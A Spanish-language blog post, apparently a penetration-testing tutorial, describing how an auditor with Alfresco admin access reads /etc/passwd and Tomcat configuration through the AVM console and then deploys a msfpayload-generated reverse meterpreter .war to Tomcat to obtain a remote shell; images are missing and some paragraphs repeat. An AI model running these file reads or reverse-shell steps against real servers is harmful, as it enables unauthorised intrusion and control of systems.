Durante una auditoría es importante tener en cuenta todas
las posibilidades a la hora de realizar una intrusión. Muchas veces encontramos
CMS o frameworks en empresas que disponen de una contraseña de administración débil
o que conseguimos acceder al panel de administración y nos gustaría tomar el
control de esa máquina pero no tenemos ejecución de comandos.
Alfresco es uno de esos frameworks y una vez somos
administradores del sitio web vamos a ver cómo podemos conseguir la tan ansiada
Shell o interprete de comandos.
Alfresco suele montarse en un servidor de aplicaciones como Tomcat, JBOSS, etc siempre servidores web que interpreten lenguajes JSP
Alfresco dispone de unas consolas de gestión que sirven para realizar ejecución de comandos en la máquina de una manera un tanto especial. Estas consolas son herramientas para programadores o administradores. Para tener más información sobre estas consolas pueden consultar esta referencia:
http://blyx.com/2010/06/04/alfresco-hack-las-consolas-escondidas-de-alfresco/
Alfresco suele montarse en un servidor de aplicaciones como Tomcat, JBOSS, etc siempre servidores web que interpreten lenguajes JSP
Alfresco dispone de unas consolas de gestión que sirven para realizar ejecución de comandos en la máquina de una manera un tanto especial. Estas consolas son herramientas para programadores o administradores. Para tener más información sobre estas consolas pueden consultar esta referencia:
http://blyx.com/2010/06/04/alfresco-hack-las-consolas-escondidas-de-alfresco/
La consola más interesante que tenemos es la AVM de la cual dispone de una ayuda en la siguiente url: http://wiki.alfresco.com/wiki/AVM_Console
Esta consola permite entre otras cosas leer archivos del
disco, escribir, etc.
Realizando el siguiente comando por ejemplo:
cat, sitestore:/etc/passwd
Se lee el fichero /etc/passwd desde las consolas de
administración:
De esta manera es posible leer la configuración del servidor
web para al final acceder como administrador del tomcat por ejemplo y subir
nuestro meterpreter:
Leyendo la configuración del servidor de aplicaciones Tomcat:
Leyendo la configuración del servidor de aplicaciones Tomcat:
Y ya solo nos falta subir un meterpreter gracias al modulo de metasploit "exploit/multi/http/tomcat_mgr_deploy". Pero vamos a ver la forma de hacerlo manualmente por si alguna vez nos da problema dicho módulo:
Para ello lo que vamos a crear es un .war malicioso que nos valdrá tanto para JBOSS como para TOMCAT, GLASSFISH y cualquier servidor de aplicaciones que trabaje con .war:
Con el siguiente comando se crea una shell reversa por si acaso hubiera firewall pero en un fichero .war:
Dejamos escuchando un multihandler para cuando realize la conexión inversa:
Una vez tenemos el war ya creado lo descomprimimos para ver la estructura que tiene por si quisieramos generar uno manualmente aunque en principio no hace falta:
Para ello lo que vamos a crear es un .war malicioso que nos valdrá tanto para JBOSS como para TOMCAT, GLASSFISH y cualquier servidor de aplicaciones que trabaje con .war:
Con el siguiente comando se crea una shell reversa por si acaso hubiera firewall pero en un fichero .war:
msfpayload windows/meterpreter/reverse_tcp W > /test.war
Dejamos escuchando un multihandler para cuando realize la conexión inversa:
Una vez tenemos el war ya creado lo descomprimimos para ver la estructura que tiene por si quisieramos generar uno manualmente aunque en principio no hace falta:
Como vemos en la imagen anterior tenemos dos ficheros y el que debemos ejecutar es el jsp, por lo que nos apuntamos el nombre, ya que posteriormente nos hará falta (también podríamos cambiárselo a gusto del auditor)
Lo único que nos queda es subirlo en el servidor de aplicaciones Tomcat por ejemplo a través de su funcionalidad de desplegar aplicaciones:
Una vez que lo tenemos desplegado podemos ejecutarlo en el navegador haciendo click en el simplemente y nos llevara a una pagina de NOT FOUND. Todo esta bien, ahora lo único que debemos hacer es atacar directamente al recurso que apuntamos anteriormente cuando descomprimimos el fichero war y se conectara a nosotros:
¿ Y que pasaría si el servidor no disponde de salida a internet? Lo veremos más adelante.
Un saludo¡
Googling for it about one month and finally your awesome article shows up.
ResponderEliminarThank you so much !!
## i am read it through google translate